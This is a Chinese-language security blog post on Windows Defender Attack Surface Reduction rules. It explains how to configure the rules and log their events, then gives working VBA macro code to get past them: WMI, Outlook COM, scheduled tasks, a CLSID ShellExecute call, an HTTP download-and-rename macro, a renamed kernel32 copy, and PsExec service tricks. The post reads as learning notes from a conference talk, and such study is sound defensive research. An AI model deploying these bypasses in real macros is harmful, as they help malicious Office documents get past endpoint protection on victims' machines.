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        <p>我可是你崇拜的人</p>
<hr>
<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>文章首发合天智汇，博客备份</p>
<p>在去年的off大会上安全研究员sevagas做了关于宏绕过ASR的相关议题，本人对此很感兴趣，在此记录一下自己的学习过程。</p>
<a id="more"></a>
<h2 id="什么是ASR"><a href="#什么是ASR" class="headerlink" title="什么是ASR"></a>什么是ASR</h2><p>ASR是Attack surface reduction的简称，内置与win10的1709版本之后和server2016的版本中，微软官方给出的解释是：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">“Attack surface reduction is a feature that helps prevent actions and apps that are typically used by</span><br><span class="line">exploit-seeking malware to infect machines.”</span><br></pre></td></tr></table></figure>
<p>大体意思就是通过配置攻击面减少规则，可以保护计算机不被恶意软件、代码攻击。它主要可以防护下面几个方面：</p>
<ul>
<li>Malicious Office document</li>
<li>Rogue USB device</li>
<li>Drive by download</li>
<li>Malicious APK in store</li>
</ul>
<h3 id="配置ASR"><a href="#配置ASR" class="headerlink" title="配置ASR"></a>配置ASR</h3><p>我们可以在运行中输入gpedit.msc打开组策略编辑器，然后在组策略管理编辑器中, 转到 “计算机配置”, 然后单击 “管理模板”，然后以此选择：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Windows 组件 &gt; Windows Defender 防病毒 &gt; Windows Defender 攻击防护 &gt; 攻击面减少</span><br></pre></td></tr></table></figure>
<p>即可看到我们的ASR管理页面。</p>
<p><img src="../images/asr/0.png" alt="image.png"></p>
<p>ASR规则，有下面三种模式,分别是：</p>
<ul>
<li>未配置：禁用 ASR 规则</li>
<li>阻止：启用 ASR 规则</li>
<li>审核：评估 ASR 规则对您的组织的影响（如果已启用）</li>
</ul>
<p>分别对应数字0、1、2</p>
<p>我们可以使用下面的powershell命令来设置对应的规则：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Add-MpPreference -AttackSurfaceReductionOnlyExclusions &quot;&lt;fully qualified path or resource&gt;&quot;</span><br></pre></td></tr></table></figure>
<p>也可以使用界面化的操作。ASR的规则使用GUID来标识相关信息，GUID如下：</p>
<p><img src="../images/asr/1.png" alt="image.png"></p>
<p>配置完的ASR规则，可以在下面的注册表中找到：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">• Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy</span><br><span class="line">Objects\&#123;5B492C3C-4EAB-494D-B7DDF0FB0FD3A17D&#125;Machine\Software\Policies\Microsoft\Windows Defender\Windows</span><br><span class="line">Defender Exploit Guard\ASR\Rules</span><br><span class="line">• HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit</span><br><span class="line">Guard\ASR\Rules\d1e49aac-8f56-4280-b9ba-993a6d77406c</span><br><span class="line">• \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy</span><br><span class="line">Objects\&#123;9CC79454-DCDF-422D-A24C81990D96B449&#125;Machine\Software\Policies\Microsoft\Windows Defender\Windows</span><br><span class="line">Defender Exploit Guard\ASR\Rules</span><br></pre></td></tr></table></figure>
<p>配置完之后，在事件管理器中导入以下xml文件：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;QueryList&gt;</span><br><span class="line">  &lt;Query Id=&quot;0&quot; Path=&quot;Microsoft-Windows-Windows Defender/Operational&quot;&gt;</span><br><span class="line">   &lt;Select Path=&quot;Microsoft-Windows-Windows Defender/Operational&quot;&gt;*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]&lt;/Select&gt;</span><br><span class="line">   &lt;Select Path=&quot;Microsoft-Windows-Windows Defender/WHC&quot;&gt;*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]&lt;/Select&gt;</span><br><span class="line">  &lt;/Query&gt;</span><br><span class="line">&lt;/QueryList&gt;</span><br></pre></td></tr></table></figure>
<p>即可在时间查看器内看到我们ASR的响应事件。</p>
<p><img src="../images/asr/2.png" alt="image.png"></p>
<h2 id="bypassASR"><a href="#bypassASR" class="headerlink" title="bypassASR"></a>bypassASR</h2><h3 id="基础绕过"><a href="#基础绕过" class="headerlink" title="基础绕过"></a>基础绕过</h3><p>我们先导入以下ASR规则：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">D4F940AB-401B-4EFC-AADC-AD5F3C50688A</span><br><span class="line">26190899-1602-49e8-8b27-eb1d0a1ce869 </span><br><span class="line">d1e49aac-8f56-4280-b9ba-993a6d77406c</span><br></pre></td></tr></table></figure>
<p>我们以下面的这个宏代码为例：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Sub WscriptExec(targetPath As String)</span><br><span class="line">	CreateObject(&quot;WScript.Shell&quot;).Run targetPath,0</span><br><span class="line">End Sub</span><br></pre></td></tr></table></figure>
<p>当我们运行这个宏的时候，就会被ASR规则所拦截</p>
<p><img src="../images/asr/3.png" alt="image.png"></p>
<p>拦截的规则为：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">D4F940AB-401B-4EFC-AADC-AD5F3C50688A</span><br></pre></td></tr></table></figure>
<p>因为我们调用了WScript.Shell这个对象来运行一个程序，所以导致被拦截了，但是，宏中不只这一种方法调用外部程序，我们还可以使用wmi对象，代码如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Set objWMIService = GetObject(&quot;winmgmts:\\.\root\cimv2&quot;)</span><br><span class="line">Set objStartup = objWMIService.Get(&quot;Win32_ProcessStartup&quot;)</span><br><span class="line">Set objConfig = objStartup.SpawnInstance_</span><br><span class="line">Set objProcess = GetObject(&quot;winmgmts:\\.\root\cimv2:Win32_Process&quot;)</span><br><span class="line">WmiExec = objProcess.Create(targetPath,Null,objConfig,intProcessID)</span><br></pre></td></tr></table></figure>
<p>此时我们再运行宏，我们的拦截规则已经变成了d1e49aac-8f56-4280-b9ba-993a6d77406c 说明D4F940AB-401B-4EFC-AADC-AD5F3C50688A规则我们已经绕过了。</p>
<p><img src="../images/asr/4.png" alt="image.png"></p>
<p>没关系，除了wmi，我们还可以使用outlook对象进行调用，代码如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Set outlookApp = CreateObject(&quot;Outlook.Application&quot;)</span><br><span class="line">outlookApp.CreateObject(&quot;Wscript.shell&quot;).Run &quot;calc.exe&quot;,0</span><br></pre></td></tr></table></figure>
<p>此时我们再运行宏，我们的拦截规则已经变成了26190899-1602-49e8-8b27-eb1d0a1ce869 说明d1e49aac-8f56-4280-b9ba-993a6d77406c规则已经被绕过了。</p>
<p><img src="../images/asr/5.png" alt="image.png"></p>
<p>那么，怎么全部绕过呢？我们还可以使用计划任务，在宏里面提供了Schedule.Service对象，它允许我们创建一个计划任务出来，代码如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Set service = CreateObject(&quot;Schedule.Service&quot;)</span><br><span class="line">Dim Action</span><br><span class="line">Set Action = taskDefinition.Actions.Create(ActionTypeExec)</span><br><span class="line">Action.Path = Split(&quot;cmd.exe&quot;,&quot; &quot;)(0)</span><br><span class="line">Action.HideAppWindow = True</span><br><span class="line"></span><br><span class="line">Call rootFolder.RegisterTaskDefinition(&quot;System Timer T&quot;,taskDefinition,6,,,3)</span><br><span class="line">Application.Wait Now + TimeValue(&quot;0:00:01&quot;)</span><br><span class="line"></span><br><span class="line">Call rootFolder.DeleteTask(&quot;System Timer T&quot;,0)</span><br></pre></td></tr></table></figure>
<p>执行宏ASR无反应，此时上面的三个规则已被我们绕过。</p>
<p>上面我们调用com对象的方法都是使用CreateObject, ShellExecute等<br>除了上面的几个方法之外我们也可以用com的CLSID进行操作。clsid是微软标识COM类对象的全局唯一标识符。如果服务器或容器允许链接到其嵌入式对象，则需要为每种受支持的对象类注册一个CLSID。默认在</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ CLSID \</span><br></pre></td></tr></table></figure>
<p>里面，所以也就是说我们使用clsid的前提也是这个clsid已经在系统中注册了，而且因为clsid的特性（可执行相应程序操作），所以我们可以用来来bypassASR：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Const ShellWindows = _</span><br><span class="line">&quot;&#123;9BA05972-F6A8-11CF-A442-00A0C90A8F39&#125;&quot;</span><br><span class="line">Set SW = GetObject(&quot;new:&quot; &amp; ShellWindows).Item()</span><br><span class="line">SW.Document.Application.ShellExecute &quot;calc.exe&quot;, Null, &quot;C:\Windows\System32&quot;, Null, 0</span><br></pre></td></tr></table></figure>
<p><img src="../images/asr/6.png" alt="image.png"></p>
<h3 id="其他ASR绕过"><a href="#其他ASR绕过" class="headerlink" title="其他ASR绕过"></a>其他ASR绕过</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">3B576869-A4EC-4529-8536-B80A7769E899</span><br></pre></td></tr></table></figure>
<p>这个规则是拦截宏在文件系统中保存和执行文件的规则。比如关键字“saveas”</p>
<p>绕过也比较简单：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">ub Download(myurl As String , realPath As String)</span><br><span class="line"></span><br><span class="line">Dim downloadPath As String</span><br><span class="line"></span><br><span class="line">downloadPath = Environ(&quot;TEMP&quot;) &amp; &quot;\\&quot; &amp; &quot;acqeolw.txt&quot;</span><br><span class="line">Set WinHttpReq = CreateObject(&quot;MSXML2.ServerXMLHTTP.6.0&quot;)</span><br><span class="line"></span><br><span class="line">WinHttpReq.Send</span><br><span class="line"></span><br><span class="line">If WinHttpReq.Status = 200 Then</span><br><span class="line">	Set oStream = CreateObject(&quot;ADODB.Stream&quot;)</span><br><span class="line">	oStream.SaveToFile downloadPath, 2</span><br><span class="line">	oStream.Close</span><br><span class="line">	renameCmd = &quot;C:\windows\system32\cmd.exe /C move&quot; &amp; downloadPath &amp; &quot; &quot; &amp; realPath</span><br><span class="line">	RDS_DataSpaceExec renameCmd</span><br><span class="line">	Application.Wait Now + TimeValue(&quot;0:00:01&quot;)</span><br><span class="line">End If</span><br><span class="line"></span><br><span class="line">End Sub</span><br></pre></td></tr></table></figure>
<p>大体思路就是改变关键字，敏感文件更名。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B</span><br></pre></td></tr></table></figure>
<p>这个规则防止程序对win32的调用：</p>
<p>比如下面的代码：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Private Declare PtrSafe Sub Sleep Lib &quot;kernel32&quot; (ByVal dwMilliseconds As Long)</span><br><span class="line"></span><br><span class="line">Sub Workbook_Open()</span><br><span class="line">	Sleep 2000</span><br><span class="line">	WscriptExec &quot;notepad.exe&quot;</span><br><span class="line">End Sub</span><br><span class="line"></span><br><span class="line">Sub WscriptExec(targetPath As String)</span><br><span class="line">	CreateObject(&quot;WScript.Shell&quot;).Run targetPath ,1</span><br><span class="line">End Sub</span><br></pre></td></tr></table></figure>
<p><img src="../images/asr/7.png" alt="image.png"></p>
<p>绕过方法跟上面类似，更名、该位置：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Private Declare PtrSafe Sub Sleep Lib &quot;k32.dll&quot; (ByVal dwMilliseconds As Long)</span><br><span class="line"></span><br><span class="line">Sub Workbook_Open()</span><br><span class="line">	WscriptExec(&quot;cmd.exe /C copy /b C:\windows\system32\kernel32.dll &quot; &amp; Environ(&quot;TEMP&quot;) &amp; &quot;\k32.dll&quot;)</span><br><span class="line">	CreateObject(&quot;WScript.Shell&quot;).currentdirectory = Environ(&quot;TEMP&quot;)</span><br><span class="line">	Sleep 2000</span><br><span class="line">	WscriptExec &quot;notepad.exe&quot;</span><br><span class="line">End Sub</span><br><span class="line"></span><br><span class="line">Sub WscriptExec(targetPath As String)</span><br><span class="line">	CreateObject(&quot;WScript.Shell&quot;).Run targetPath ,1</span><br><span class="line">End Sub</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">D3E037E1-3EB8-44C8-A917-57927947596D</span><br></pre></td></tr></table></figure>
<p>这个是拦截vb或者js执行下面的内容的规则：</p>
<p><img src="../images/asr/8.png" alt="image.png"></p>
<p>不过这个规则有一些问题，总是被asmi拦截，绕过方法如下图：</p>
<p><img src="../images/asr/9.png" alt="image.png"></p>
<p>或者：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">move  file_path  %temp%\tmpfile.dat </span><br><span class="line">type %temp%\tmpfile.dat &gt; file_path </span><br><span class="line">del %temp%\tmpfile.dat</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">d1e49aac-8f56-4280-b9ba-993a6d77406c</span><br></pre></td></tr></table></figure>
<p>这个是拦截wmi和psexec调用的规则：</p>
<p>不过貌似也有一些问题：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">psexec.exe -i cmd.exe -&gt; Not blocked</span><br><span class="line">psexec -s -i cmd.exe -&gt; blocked</span><br></pre></td></tr></table></figure>
<p>好像只拦截服务。</p>
<p>绕过方法：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">PSEXESVC.exe –install -&gt; PsInfo Service installed.</span><br><span class="line">sc start PSINFSVC</span><br><span class="line">psexec -s -i cmd.exe</span><br></pre></td></tr></table></figure>
<p><img src="../images/asr/10.png" alt="image.png"></p>
<h2 id="后话"><a href="#后话" class="headerlink" title="后话"></a>后话</h2><p>bypass之路自然不止这些，向UAC、ASMI等的绕过，路还有很长。</p>
<p>参考文章：</p>
<p><a href="https://docs.microsoft.com/zh-cn/windows/win32/com/clsid-key-hklm" target="_blank" rel="noopener">https://docs.microsoft.com/zh-cn/windows/win32/com/clsid-key-hklm</a></p>
<p><a href="https://blog.csdn.net/dvvnv/article/details/98471195" target="_blank" rel="noopener">https://blog.csdn.net/dvvnv/article/details/98471195</a></p>
<p><a href="https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/enable-attack-surface-reduction" target="_blank" rel="noopener">https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/enable-attack-surface-reduction</a></p>
<p><a href="https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction" target="_blank" rel="noopener">https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction</a></p>
<p><a href="https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/evaluate-attack-surface-reduction" target="_blank" rel="noopener">https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/evaluate-attack-surface-reduction</a></p>
<p><a href="https://www.youtube.com/watch?v=YMHsuu3qldE&amp;t=1102s" target="_blank" rel="noopener">https://www.youtube.com/watch?v=YMHsuu3qldE&amp;t=1102s</a></p>
<p><a href="https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/event-views" target="_blank" rel="noopener">https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/event-views</a></p>
<p> <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction" target="_blank" rel="noopener">https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction</a></p>
<p><a href="https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office" target="_blank" rel="noopener">https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office</a></p>
<p><a href="https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule" target="_blank" rel="noopener">https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule</a></p>
<p><a href="https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/exploit-protection#review-attack-surface-reduction-events-in-windows-event-viewer" target="_blank" rel="noopener">https://docs.microsoft.com/zh-cn/windows/security/threat-protection/microsoft-defender-atp/exploit-protection#review-attack-surface-reduction-events-in-windows-event-viewer</a></p>

      
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